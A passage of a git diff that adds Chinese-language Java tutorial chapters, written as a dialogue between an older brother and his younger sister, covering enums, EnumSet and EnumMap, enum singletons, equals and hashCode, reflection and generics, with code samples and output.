+“别着急,看一下反编译后的字节码,你就明白了。” + +```java +public final class PlayerType extends Enum +{ + + public static PlayerType[] values() + { + return (PlayerType[])$VALUES.clone(); + } + + public static PlayerType valueOf(String name) + { + return (PlayerType)Enum.valueOf(com/cmower/baeldung/enum1/PlayerType, name); + } + + private PlayerType(String s, int i) + { + super(s, i); + } + + public static final PlayerType TENNIS; + public static final PlayerType FOOTBALL; + public static final PlayerType BASKETBALL; + private static final PlayerType $VALUES[]; + + static + { + TENNIS = new PlayerType("TENNIS", 0); + FOOTBALL = new PlayerType("FOOTBALL", 1); + BASKETBALL = new PlayerType("BASKETBALL", 2); + $VALUES = (new PlayerType[] { + TENNIS, FOOTBALL, BASKETBALL + }); + } +} +``` + +“看到没?Java 编译器帮我们做了很多隐式的工作,不然手写一个枚举就没那么省心省事了。” + +- 要继承 Enum 类; +- 要写构造方法; +- 要声明静态变量和数组; +- 要用 static 块来初始化静态变量和数组; +- 要提供静态方法,比如说 `values()` 和 `valueOf(String name)`。 + +“确实,作为开发者,我们的代码量减少了,枚举看起来简洁明了。”三妹说。 + +“既然枚举是一种特殊的类,那它其实是可以定义在一个类的内部的,这样它的作用域就可以限定于这个外部类中使用。”我说。 + +```java +public class Player { + private PlayerType type; + public enum PlayerType { + TENNIS, + FOOTBALL, + BASKETBALL + } + + public boolean isBasketballPlayer() { + return getType() == PlayerType.BASKETBALL; + } + + public PlayerType getType() { + return type; + } + + public void setType(PlayerType type) { + this.type = type; + } +} +``` + +PlayerType 就相当于 Player 的内部类。 + +由于枚举是 final 的,所以可以确保在 Java 虚拟机中仅有一个常量对象,基于这个原因,我们可以使用“==”运算符来比较两个枚举是否相等,参照 `isBasketballPlayer()` 方法。 + +“那为什么不使用 `equals()` 方法判断呢?”三妹问。 + +```java +if(player.getType().equals(Player.PlayerType.BASKETBALL)){}; +``` + +“我来给你解释下。” + +“==”运算符比较的时候,如果两个对象都为 null,并不会发生 `NullPointerException`,而 `equals()` 方法则会。 + +另外, “==”运算符会在编译时进行检查,如果两侧的类型不匹配,会提示错误,而 `equals()` 方法则不会。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/enum/enum-01.png) + +“枚举还可用于 switch 语句,和基本数据类型的用法一致。”我说。 + +```java +switch (playerType) { + case TENNIS: + return "网球运动员费德勒"; + case FOOTBALL: + return "足球运动员C罗"; + case BASKETBALL: + return "篮球运动员詹姆斯"; + case UNKNOWN: + throw new IllegalArgumentException("未知"); + default: + throw new IllegalArgumentException( + "运动员类型: " + playerType); + + } +``` + +“如果枚举中需要包含更多信息的话,可以为其添加一些字段,比如下面示例中的 name,此时需要为枚举添加一个带参的构造方法,这样就可以在定义枚举时添加对应的名称了。”我继续说。 + +```java +public enum PlayerType { + TENNIS("网球"), + FOOTBALL("足球"), + BASKETBALL("篮球"); + + private String name; + + PlayerType(String name) { + this.name = name; + } +} +``` + +“get 了吧,三妹?” + +“嗯,比较好理解。” + +“那接下来,我就来说点不一样的。” + +“来吧,我准备好了。” + +“EnumSet 是一个专门针对枚举类型的 Set 接口(后面会讲)的实现类,它是处理枚举类型数据的一把利器,非常高效。”我说,“从名字上就可以看得出,EnumSet 不仅和 Set 有关系,和枚举也有关系。” + +“因为 EnumSet 是一个抽象类,所以创建 EnumSet 时不能使用 new 关键字。不过,EnumSet 提供了很多有用的静态工厂方法。” + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/enum/enum-02.png) + +“来看下面这个例子,我们使用 `noneOf()` 静态工厂方法创建了一个空的 PlayerType 类型的 EnumSet;使用 `allOf()` 静态工厂方法创建了一个包含所有 PlayerType 类型的 EnumSet。” + +```java +public class EnumSetTest { + public enum PlayerType { + TENNIS, + FOOTBALL, + BASKETBALL + } + + public static void main(String[] args) { + EnumSet enumSetNone = EnumSet.noneOf(PlayerType.class); + System.out.println(enumSetNone); + + EnumSet enumSetAll = EnumSet.allOf(PlayerType.class); + System.out.println(enumSetAll); + } +} +``` + +“来看一下输出结果。” + +```java +[] +[TENNIS, FOOTBALL, BASKETBALL] +``` + +有了 EnumSet 后,就可以使用 Set 的一些方法了,见下图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/enum/enum-03.png) + +“除了 EnumSet,还有 EnumMap,是一个专门针对枚举类型的 Map 接口的实现类,它可以将枚举常量作为键来使用。EnumMap 的效率比 HashMap 还要高,可以直接通过数组下标(枚举的 ordinal 值)访问到元素。” + +“和 EnumSet 不同,EnumMap 不是一个抽象类,所以创建 EnumMap 时可以使用 new 关键字。” + +```java +EnumMap enumMap = new EnumMap<>(PlayerType.class); +``` + +有了 EnumMap 对象后就可以使用 Map 的一些方法了,见下图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/enum/enum-04.png) + +和 HashMap(后面会讲)的使用方法大致相同,来看下面的例子。 + +```java +EnumMap enumMap = new EnumMap<>(PlayerType.class); +enumMap.put(PlayerType.BASKETBALL,"篮球运动员"); +enumMap.put(PlayerType.FOOTBALL,"足球运动员"); +enumMap.put(PlayerType.TENNIS,"网球运动员"); +System.out.println(enumMap); + +System.out.println(enumMap.get(PlayerType.BASKETBALL)); +System.out.println(enumMap.containsKey(PlayerType.BASKETBALL)); +System.out.println(enumMap.remove(PlayerType.BASKETBALL)); +``` + +“来看一下输出结果。” + +``` +{TENNIS=网球运动员, FOOTBALL=足球运动员, BASKETBALL=篮球运动员} +篮球运动员 +true +篮球运动员 +``` + +“除了以上这些,《Effective Java》这本书里还提到了一点,如果要实现单例的话,最好使用枚举的方式。”我说。 + +“等等二哥,单例是什么?”三妹没等我往下说,就连忙问道。 + +“单例(Singleton)用来保证一个类仅有一个对象,并提供一个访问它的全局访问点,在一个进程中。因为这个类只有一个对象,所以就不能再使用 `new` 关键字来创建新的对象了。” + +“Java 标准库有一些类就是单例,比如说 Runtime 这个类。” + +```java +Runtime runtime = Runtime.getRuntime(); +``` + +“Runtime 类可以用来获取 Java 程序运行时的环境。” + +“关于单例,懂了些吧?”我问三妹。 + +“噢噢噢噢。”三妹点了点头。 + +“通常情况下,实现单例并非易事,来看下面这种写法。” + +```java +public class Singleton { + private volatile static Singleton singleton; + private Singleton (){} + public static Singleton getSingleton() { + if (singleton == null) { + synchronized (Singleton.class) { + if (singleton == null) { + singleton = new Singleton(); + } + } + } + return singleton; + } +} +``` + +“要用到 volatile、synchronized 关键字等等,但枚举的出现,让代码量减少到极致。” + +```java +public enum EasySingleton{ + INSTANCE; +} +``` + +“就这?”三妹睁大了眼睛。 + +“对啊,枚举默认实现了 Serializable 接口,因此 Java 虚拟机可以保证该类为单例,这与传统的实现方式不大相同。传统方式中,我们必须确保单例在反序列化期间不能创建任何新实例。”我说。 + +“好了,关于枚举就讲这么多吧,三妹,你把这些代码都手敲一遍吧!” + +“好勒,这就安排。二哥,你去休息吧。” + +“嗯嗯。”讲了这么多,必须跑去抽烟机那里安排一根华子了。 + +----- + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 \ No newline at end of file diff --git a/docs/basic-extra-meal/equals-hashcode.md b/docs/basic-extra-meal/equals-hashcode.md new file mode 100644 index 0000000000..cb718fe418 --- /dev/null +++ b/docs/basic-extra-meal/equals-hashcode.md @@ -0,0 +1,231 @@ + + +“二哥,我在读《Effective Java》 的时候,第 11 条规约说重写 equals 的时候必须要重写 hashCode 方法,这是为什么呀?”三妹单刀直入地问。 + +“三妹啊,这个问题问得非常好,因为它也是面试中经常考的一个知识点。今天哥就带你来梳理一下。”我说。 + +Java 是一门面向对象的编程语言,所有的类都会默认继承自 Object 类,而 Object 的中文意思就是“对象”。 + +Object 类中有这么两个方法: + +```java +public native int hashCode(); + +public boolean equals(Object obj) { + return (this == obj); +} +``` +1)hashCode 方法 + +这是一个本地方法,用来返回对象的哈希值(一个整数)。在 Java 程序执行期间,对同一个对象多次调用该方法必须返回相同的哈希值。 + +2)equals 方法 + +对于任何非空引用 x 和 y,当且仅当 x 和 y 引用的是同一个对象时,equals 方法才返回 true。 + +“二哥,看起来两个方法之间没有任何关联啊?”三妹质疑道。 + +“单从这两段解释上来看,的确是这样的。”我解释道,“但两个方法的 doc 文档中还有这样两条信息。” + +第一,如果两个对象调用 equals 方法返回的结果为 true,那么两个对象调用 hashCode 方法返回的结果也必然相同——来自 hashCode 方法的 doc 文档。 + +第二,每当重写 equals 方法时,hashCode 方法也需要重写,以便维护上一条规约。 + +“哦,这样讲的话,两个方法确实关联上了,但究竟是为什么呢?”三妹抛出了终极一问。 + +“hashCode 方法的作用是用来获取哈希值,而该哈希值的作用是用来确定对象在哈希表中的索引位置。”我说。 + +哈希表的典型代表就是 HashMap,它存储的是键值对,能根据键快速地检索出对应的值。 + +```java +public V get(Object key) { + HashMap.Node e; + return (e = getNode(hash(key), key)) == null ? null : e.value; +} +``` + +这是 HashMap 的 get 方法,通过键来获取值的方法。它会调用 getNode 方法: + +```java +final HashMap.Node getNode(int hash, Object key) { + HashMap.Node[] tab; HashMap.Node first, e; int n; K k; + if ((tab = table) != null && (n = tab.length) > 0 && + (first = tab[(n - 1) & hash]) != null) { + if (first.hash == hash && // always check first node + ((k = first.key) == key || (key != null && key.equals(k)))) + return first; + if ((e = first.next) != null) { + if (first instanceof HashMap.TreeNode) + return ((HashMap.TreeNode)first).getTreeNode(hash, key); + do { + if (e.hash == hash && + ((k = e.key) == key || (key != null && key.equals(k)))) + return e; + } while ((e = e.next) != null); + } + } + return null; +} +``` + +通常情况(没有发生哈希冲突)下,`first = tab[(n - 1) & hash]` 就是键对应的值。**按照时间复杂度来说的话,可表示为 O(1)**。 + +如果发生哈希冲突,也就是 `if ((e = first.next) != null) {}` 子句中,可以看到如果节点不是红黑树的时候,会通过 do-while 循环语句判断键是否 equals 返回对应值的。**按照时间复杂度来说的话,可表示为 O(n)**。 + +HashMap 是通过拉链法来解决哈希冲突的,也就是如果发生哈希冲突,同一个键的坑位会放好多个值,超过 8 个值后改为红黑树,为了提高查询的效率。 + +显然,从时间复杂度上来看的话 O(n) 比 O(1) 的性能要差,这也正是哈希表的价值所在。 + +“O(n) 和 O(1) 是什么呀?”三妹有些不解。 + +“这是时间复杂度的一种表示方法,随后二哥专门给你讲一下。简单说一下 n 和 1 的意思,很显然,n 和 1 都代表的是代码执行的次数,假如数据规模为 n,n 就代表需要执行 n 次,1 就代表只需要执行一次。”我解释道。 + +“三妹,你想一下,如果没有哈希表,但又需要这样一个数据结构,它里面存放的数据是不允许重复的,该怎么办呢?”我问。 + +“要不使用 equals 方法进行逐个比较?”三妹有些不太确定。 + +“这种方法当然是可行的,就像 `if ((e = first.next) != null) {}` 子句中那样,但如果数据量特别特别大,性能就会很差,最好的解决方案还是 HashMap。” + +HashMap 本质上是通过数组实现的,当我们要从 HashMap 中获取某个值时,实际上是要获取数组中某个位置的元素,而位置是通过键来确定的。 + +```java +public V put(K key, V value) { + return putVal(hash(key), key, value, false, true); +} +``` + +这是 HashMap 的 put 方法,会将键值对放入到数组当中。它会调用 putVal 方法: + +```java +final V putVal(int hash, K key, V value, boolean onlyIfAbsent, + boolean evict) { + HashMap.Node[] tab; HashMap.Node p; int n, i; + if ((tab = table) == null || (n = tab.length) == 0) + n = (tab = resize()).length; + if ((p = tab[i = (n - 1) & hash]) == null) + tab[i] = newNode(hash, key, value, null); + else { + // 拉链 + } + return null; +} +``` + +通常情况下,`p = tab[i = (n - 1) & hash])` 就是键对应的值。而数组的索引 `(n - 1) & hash` 正是基于 hashCode 方法计算得到的。 + +```java +static final int hash(Object key) { + int h; + return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); +} +``` + +“那二哥,你好像还是没有说为什么重写 equals 方法的时候要重写 hashCode 方法呀?”三妹忍不住了。 + +“来看下面这段代码。”我说。 + +```java +public class Test { + public static void main(String[] args) { + Student s1 = new Student(18, "张三"); + Map scores = new HashMap<>(); + scores.put(s1, 98); + + Student s2 = new Student(18, "张三"); + System.out.println(scores.get(s2)); + } +} + class Student { + private int age; + private String name; + + public Student(int age, String name) { + this.age = age; + this.name = name; + } + + @Override + public boolean equals(Object o) { + Student student = (Student) o; + return age == student.age && + Objects.equals(name, student.name); + } + } +``` + +我们重写了 Student 类的 equals 方法,如果两个学生的年纪和姓名相同,我们就认为是同一个学生,虽然很离谱,但我们就是这么草率。 + +在 main 方法中,18 岁的张三考试得了 98 分,很不错的成绩,我们把张三和他的成绩放到 HashMap 中,然后准备取出: + +``` +null +``` + +“二哥,怎么输出了 null,而不是预期当中的 98 呢?”三妹感到很不可思议。 + +“原因就在于重写 equals 方法的时候没有重写 hashCode 方法。”我回答道,“equals 方法虽然认定名字和年纪相同就是同一个学生,但它们本质上是两个对象,hashCode 并不相同。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/equals-hashcode-01.png) + +“那怎么重写 hashCode 方法呢?”三妹问。 + +“可以直接调用 Objects 类的 hash 方法。”我回答。 + +```java + @Override + public int hashCode() { + return Objects.hash(age, name); + } +``` + +Objects 类的 hash 方法可以针对不同数量的参数生成新的哈希值,hash 方法调用的是 Arrays 类的 hashCode 方法,该方法源码如下: + +```java +public static int hashCode(Object a[]) { + if (a == null) + return 0; + + int result = 1; + + for (Object element : a) + result = 31 * result + (element == null ? 0 : element.hashCode()); + + return result; +} +``` + +第一次循环: + +``` +result = 31*1 + Integer(18).hashCode(); +``` + +第二次循环: + +``` +result = (31*1 + Integer(18).hashCode()) * 31 + String("张三").hashCode(); +``` + +针对姓名年纪不同的对象,这样计算后的哈希值很难很难很难重复的;针对姓名年纪相同的对象,哈希值保持一致。 + +再次执行 main 方法,结果如下所示: + +``` +98 +``` + +因为此时 s1 和 s2 对象的哈希值都为 776408。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/equals-hashcode-02.png) + + +“每当重写 equals 方法时,hashCode 方法也需要重写,原因就是为了保证:如果两个对象调用 equals 方法返回的结果为 true,那么两个对象调用 hashCode 方法返回的结果也必然相同。”我点题了。 + +“OK,get 了。”三妹开心地点了点头,看得出来,今天学到了不少。 + +----- + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 + diff --git a/docs/basic-extra-meal/fanshe.md b/docs/basic-extra-meal/fanshe.md new file mode 100644 index 0000000000..49f4cfd60f --- /dev/null +++ b/docs/basic-extra-meal/fanshe.md @@ -0,0 +1,321 @@ + + +“二哥,什么是反射呀?”三妹开门见山地问。 + +“要想知道什么是反射,就需要先来了解什么是‘正射’。”我笑着对三妹说,“一般情况下,我们在使用某个类之前已经确定它到底是个什么类了,拿到手就直接可以使用 `new` 关键字来调用构造方法进行初始化,之后使用这个类的对象来进行操作。” + +```java +Writer writer = new Writer(); +writer.setName("沉默王二"); +``` + +像上面这个例子,就可以理解为“正射”。而反射就意味着一开始我们不知道要初始化的类到底是什么,也就没法直接使用 `new` 关键字创建对象了。 + +我们只知道这个类的一些基本信息,就好像我们看电影的时候,为了抓住一个犯罪嫌疑人,警察就会问一些目击证人,根据这些证人提供的信息,找专家把犯罪嫌疑人的样貌给画出来——这个过程,就可以称之为**反射**。 + +```java +Class clazz = Class.forName("com.itwanger.s39.Writer"); +Method method = clazz.getMethod("setName", String.class); +Constructor constructor = clazz.getConstructor(); +Object object = constructor.newInstance(); +method.invoke(object,"沉默王二"); +``` + +像上面这个例子,就可以理解为“反射”。 + +“反射的写法比正射复杂得多啊!”三妹感慨地说。 + +“是的,反射的成本是要比正射的高得多。”我说,“反射的缺点主要有两个。” + +- **破坏封装**:由于反射允许访问私有字段和私有方法,所以可能会破坏封装而导致安全问题。 +- **性能开销**:由于反射涉及到动态解析,因此无法执行 Java 虚拟机优化,再加上反射的写法的确要复杂得多,所以性能要比“正射”差很多,在一些性能敏感的程序中应该避免使用反射。 + +“那反射有哪些好处呢?”三妹问。 + +反射的主要应用场景有: + +- **开发通用框架**:像 Spring,为了保持通用性,通过配置文件来加载不同的对象,调用不同的方法。 +- **动态代理**:在面向切面编程中,需要拦截特定的方法,就会选择动态代理的方式,而动态代理的底层技术就是反射。 +- **注解**:注解本身只是起到一个标记符的作用,它需要利用发射机制,根据标记符去执行特定的行为。 + +“好了,来看一下完整的例子吧。”我对三妹说。 + +Writer 类,有两个字段,然后还有对应的 getter/setter。 + +```java +public class Writer { + private int age; + private String name; + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } +} +``` + +测试类: + +```java +public class ReflectionDemo1 { + public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { + Writer writer = new Writer(); + writer.setName("沉默王二"); + System.out.println(writer.getName()); + + Class clazz = Class.forName("com.itwanger.s39.Writer"); + Constructor constructor = clazz.getConstructor(); + Object object = constructor.newInstance(); + + Method setNameMethod = clazz.getMethod("setName", String.class); + setNameMethod.invoke(object, "沉默王二"); + Method getNameMethod = clazz.getMethod("getName"); + System.out.println(getNameMethod.invoke(object)); + } +} +``` + +来看一下输出结果: + +``` +沉默王二 +沉默王二 +``` + +只不过,反射的过程略显曲折了一些。 + +第一步,获取反射类的 Class 对象: + +```java +Class clazz = Class.forName("com.itwanger.s39.Writer"); +``` + +第二步,通过 Class 对象获取构造方法 Constructor 对象: + +```java +Constructor constructor = clazz.getConstructor(); +``` + +第三步,通过 Constructor 对象初始化反射类对象: + +```java +Object object = constructor.newInstance(); +``` + +第四步,获取要调用的方法的 Method 对象: + +```java +Method setNameMethod = clazz.getMethod("setName", String.class); +Method getNameMethod = clazz.getMethod("getName"); +``` + +第五步,通过 `invoke()` 方法执行: + +```java +setNameMethod.invoke(object, "沉默王二"); +getNameMethod.invoke(object) +``` + +“三妹,你看,经过这五个步骤,基本上就掌握了反射的使用方法。”我说。 + +“好像反射也没什么复杂的啊!”三妹说。 + +我先对三妹点点头,然后说:“是的,掌握反射的基本使用方法确实不难,但要理解整个反射机制还是需要花一点时间去了解一下 Java 虚拟机的类加载机制的。” + +要想使用反射,首先需要获得反射类的 Class 对象,每一个类,不管它最终生成了多少个对象,这些对象只会对应一个 Class 对象,这个 Class 对象是由 Java 虚拟机生成的,由它来获悉整个类的结构信息。 + +也就是说,`java.lang.Class` 是所有反射 API 的入口。 + +而方法的反射调用,最终是由 Method 对象的 `invoke()` 方法完成的,来看一下源码(JDK 8 环境下)。 + +```java +@CallerSensitive +public Object invoke(Object obj, Object... args) + throws IllegalAccessException, IllegalArgumentException, + InvocationTargetException +{ + if (!override) { + if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) { + Class caller = Reflection.getCallerClass(); + checkAccess(caller, clazz, obj, modifiers); + } + } + MethodAccessor ma = methodAccessor; // read volatile + if (ma == null) { + ma = acquireMethodAccessor(); + } + return ma.invoke(obj, args); +} +``` + +两个嵌套的 if 语句是用来进行权限检查的。 + +`invoke()` 方法实际上是委派给 MethodAccessor 接口来完成的。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/fanshe/fanshe-01.png) + +MethodAccessor 接口有三个实现类,其中的 MethodAccessorImpl 是一个抽象类,另外两个具体的实现类继承了这个抽象类。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/fanshe/fanshe-02.png) + +- NativeMethodAccessorImpl:通过本地方法来实现反射调用; +- DelegatingMethodAccessorImpl:通过委派模式来实现反射调用; + +通过 debug 的方式进入 `invoke()` 方法后,可以看到第一次反射调用会生成一个委派实现 DelegatingMethodAccessorImpl,它在生成的时候会传递一个本地实现 NativeMethodAccessorImpl。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/fanshe/fanshe-03.png) + +也就是说,`invoke()` 方法在执行的时候,会先调用 DelegatingMethodAccessorImpl,然后调用 NativeMethodAccessorImpl,最后再调用实际的方法。 + +“为什么不直接调用本地实现呢?”三妹问。 + +“之所以采用委派实现,是为了能够在本地实现和动态实现之间切换。动态实现是另外一种反射调用机制,它是通过生成字节码的形式来实现的。如果反射调用的次数比较多,动态实现的效率就会更高,因为本地实现需要经过 Java 到 C/C++ 再到 Java 之间的切换过程,而动态实现不需要;但如果反射调用的次数比较少,反而本地实现更快一些。”我说。 + +“那临界点是多少呢?”三妹问。 + +“默认是 15 次。”我说,“可以通过 `-Dsun.reflect.inflationThreshold` 参数类调整。” + +来看下面这个例子。 + +```java +Method setAgeMethod = clazz.getMethod("setAge", int.class); +for (int i = 0;i < 20; i++) { + setAgeMethod.invoke(object, 18); +} +``` + +在 `invoke()` 方法处加断点进入 debug 模式,当 i = 15 的时候,也就是第 16 次执行的时候,会进入到 if 条件分支中,改变 DelegatingMethodAccessorImpl 的委派模式 delegate 为 `(MethodAccessorImpl)(new MethodAccessorGenerator()).generateMethod()`,而之前的委派模式 delegate 为 NativeMethodAccessorImpl。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/fanshe/fanshe-04.png) + +“这下明白了吧?三妹。”我说,“接下来,我们再来熟悉一下反射当中常用的 API。” + +**1)获取反射类的 Class 对象** + +`Class.forName()`,参数为反射类的完全限定名。 + +```java +Class c1 = Class.forName("com.itwanger.s39.ReflectionDemo3"); +System.out.println(c1.getCanonicalName()); + +Class c2 = Class.forName("[D"); +System.out.println(c2.getCanonicalName()); + +Class c3 = Class.forName("[[Ljava.lang.String;"); +System.out.println(c3.getCanonicalName()); +``` + +来看一下输出结果: + +``` +com.itwanger.s39.ReflectionDemo3 +double[] +java.lang.String[][] +``` + +类名 + `.class`,只适合在编译前就知道操作的 Class。。 + +```java +Class c1 = ReflectionDemo3.class; +System.out.println(c1.getCanonicalName()); + +Class c2 = String.class; +System.out.println(c2.getCanonicalName()); + +Class c3 = int[][][].class; +System.out.println(c3.getCanonicalName()); +``` + +来看一下输出结果: + +```java +com.itwanger.s39.ReflectionDemo3 +java.lang.String +int[][][] +``` + +**2)创建反射类的对象** + +通过反射来创建对象的方式有两种: + +- 用 Class 对象的 `newInstance()` 方法。 +- 用 Constructor 对象的 `newInstance()` 方法。 + +```java +Class c1 = Writer.class; +Writer writer = (Writer) c1.newInstance(); + +Class c2 = Class.forName("com.itwanger.s39.Writer"); +Constructor constructor = c2.getConstructor(); +Object object = constructor.newInstance(); +``` + +**3)获取构造方法** + +Class 对象提供了以下方法来获取构造方法 Constructor 对象: + +- `getConstructor()`:返回反射类的特定 public 构造方法,可以传递参数,参数为构造方法参数对应 Class 对象;缺省的时候返回默认构造方法。 +- `getDeclaredConstructor()`:返回反射类的特定构造方法,不限定于 public 的。 +- `getConstructors()`:返回类的所有 public 构造方法。 +- `getDeclaredConstructors()`:返回类的所有构造方法,不限定于 public 的。 + +```java +Class c2 = Class.forName("com.itwanger.s39.Writer"); +Constructor constructor = c2.getConstructor(); + +Constructor[] constructors1 = String.class.getDeclaredConstructors(); +for (Constructor c : constructors1) { + System.out.println(c); +} +``` + +**4)获取字段** + +大体上和获取构造方法类似,把关键字 Constructor 换成 Field 即可。 + +```java +Method setNameMethod = clazz.getMethod("setName", String.class); +Method getNameMethod = clazz.getMethod("getName"); +``` + +**5)获取方法** + +大体上和获取构造方法类似,把关键字 Constructor 换成 Method 即可。 + +```java +Method[] methods1 = System.class.getDeclaredMethods(); +Method[] methods2 = System.class.getMethods(); +``` + +“注意,三妹,如果你想反射访问私有字段和(构造)方法的话,需要使用 `Constructor/Field/Method.setAccessible(true)` 来绕开 Java 语言的访问限制。”我说。 + +“好的,二哥。还有资料可以参考吗?”三妹问。 + +“有的,有两篇文章写得非常不错,你在学习反射的时候可以作为参考。”我说。 + +第一篇:深入理解 Java 反射和动态代理 + +>链接:https://dunwu.github.io/javacore/basics/java-reflection.html#_1-%E5%8F%8D%E5%B0%84%E7%AE%80%E4%BB%8B + +第二篇:大白话说Java反射:入门、使用、原理: + +>链接:https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html + + +----- + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 + diff --git a/docs/basic-extra-meal/generic.md b/docs/basic-extra-meal/generic.md new file mode 100644 index 0000000000..020f134e1f --- /dev/null +++ b/docs/basic-extra-meal/generic.md @@ -0,0 +1,458 @@ + + +“二哥,为什么要设计泛型啊?”三妹开门见山地问。 + +“三妹啊,听哥慢慢给你讲啊。”我说。 + +Java 在 1.5 时增加了泛型机制,据说专家们为此花费了 5 年左右的时间(听起来很不容易)。有了泛型之后,尤其是对集合类的使用,就变得更规范了。 + +看下面这段简单的代码。 + +```java +ArrayList list = new ArrayList(); +list.add("沉默王二"); +String str = list.get(0); +``` + +“三妹,你能想象到在没有泛型之前该怎么办吗?” + +“嗯,想不到,还是二哥你说吧。” + +嗯,我们可以使用 Object 数组来设计 `Arraylist` 类。 + +```java +class Arraylist { + private Object[] objs; + private int i = 0; + public void add(Object obj) { + objs[i++] = obj; + } + + public Object get(int i) { + return objs[i]; + } +} +``` + +然后,我们向 `Arraylist` 中存取数据。 + +```java +Arraylist list = new Arraylist(); +list.add("沉默王二"); +list.add(new Date()); +String str = (String)list.get(0); +``` + +“三妹,你有没有发现这两个问题?” + +- Arraylist 可以存放任何类型的数据(既可以存字符串,也可以混入日期),因为所有类都继承自 Object 类。 +- 从 Arraylist 取出数据的时候需要强制类型转换,因为编译器并不能确定你取的是字符串还是日期。 + +“嗯嗯,是的呢。”三妹说。 + +对比一下,你就能明显地感受到泛型的优秀之处:使用**类型参数**解决了元素的不确定性——参数类型为 String 的集合中是不允许存放其他类型元素的,取出数据的时候也不需要强制类型转换了。 + +“二哥,那怎么才能设计一个泛型呢?” + +“三妹啊,你一个小白只要会用泛型就行了,还想设计泛型啊?!不过,既然你想了解,那么哥义不容辞。” + + + +首先,我们来按照泛型的标准重新设计一下 `Arraylist` 类。 + +```java +class Arraylist { + private Object[] elementData; + private int size = 0; + + public Arraylist(int initialCapacity) { + this.elementData = new Object[initialCapacity]; + } + + public boolean add(E e) { + elementData[size++] = e; + return true; + } + + E elementData(int index) { + return (E) elementData[index]; + } +} +``` + +一个泛型类就是具有一个或多个类型变量的类。Arraylist 类引入的类型变量为 E(Element,元素的首字母),使用尖括号 `<>` 括起来,放在类名的后面。 + +然后,我们可以用具体的类型(比如字符串)替换类型变量来实例化泛型类。 + +```java +Arraylist list = new Arraylist(); +list.add("沉默王三"); +String str = list.get(0); +``` + +Date 类型也可以的。 + +```java +Arraylist list = new Arraylist(); +list.add(new Date()); +Date date = list.get(0); +``` + +其次,我们还可以在一个非泛型的类(或者泛型类)中定义泛型方法。 + +```java +class Arraylist { + public T[] toArray(T[] a) { + return (T[]) Arrays.copyOf(elementData, size, a.getClass()); + } +} +``` + +不过,说实话,泛型方法的定义看起来略显晦涩。来一副图吧(注意:方法返回类型和方法参数类型至少需要一个)。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/generic/generic-01.png) + +现在,我们来调用一下泛型方法。 + +```java +Arraylist list = new Arraylist<>(4); +list.add("沉"); +list.add("默"); +list.add("王"); +list.add("二"); + +String [] strs = new String [4]; +strs = list.toArray(strs); + +for (String str : strs) { + System.out.println(str); +} +``` + +然后,我们再来说说泛型变量的限定符 `extends`。 + +在解释这个限定符之前,我们假设有三个类,它们之间的定义是这样的。 + +```java +class Wanglaoer { + public String toString() { + return "王老二"; + } +} + +class Wanger extends Wanglaoer{ + public String toString() { + return "王二"; + } +} + +class Wangxiaoer extends Wanger{ + public String toString() { + return "王小二"; + } +} +``` + +我们使用限定符 `extends` 来重新设计一下 `Arraylist` 类。 + +```java +class Arraylist { +} +``` + +当我们向 `Arraylist` 中添加 `Wanglaoer` 元素的时候,编译器会提示错误:`Arraylist` 只允许添加 `Wanger` 及其子类 `Wangxiaoer` 对象,不允许添加其父类 `Wanglaoer`。 + +```java +Arraylist list = new Arraylist<>(3); +list.add(new Wanger()); +list.add(new Wanglaoer()); +// The method add(Wanger) in the type Arraylist is not applicable for the arguments +// (Wanglaoer) +list.add(new Wangxiaoer()); +``` + +也就是说,限定符 `extends` 可以缩小泛型的类型范围。 + +“哦,明白了。”三妹若有所思的点点头,“二哥,听说虚拟机没有泛型?” + +“三妹,你功课做得可以啊。哥可以肯定地回答你,虚拟机是没有泛型的。” + +“怎么确定虚拟机有没有泛型呢?”三妹问。 + +“只要我们把泛型类的字节码进行反编译就看到了!”用反编译工具将 class 文件反编译后,我说,“三妹,你看。” + +```java +// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. +// Jad home page: http://www.kpdus.com/jad.html +// Decompiler options: packimports(3) +// Source File Name: Arraylist.java + +package com.cmower.java_demo.fanxing; + +import java.util.Arrays; + +class Arraylist +{ + + public Arraylist(int initialCapacity) + { + size = 0; + elementData = new Object[initialCapacity]; + } + + public boolean add(Object e) + { + elementData[size++] = e; + return true; + } + + Object elementData(int index) + { + return elementData[index]; + } + + private Object elementData[]; + private int size; +} +``` + +类型变量 `` 消失了,取而代之的是 Object ! + +“既然如此,那如果泛型类使用了限定符 `extends`,结果会怎么样呢?”三妹这个问题问的很巧妙。 + +来看这段代码。 + +```java +class Arraylist2 { + private Object[] elementData; + private int size = 0; + + public Arraylist2(int initialCapacity) { + this.elementData = new 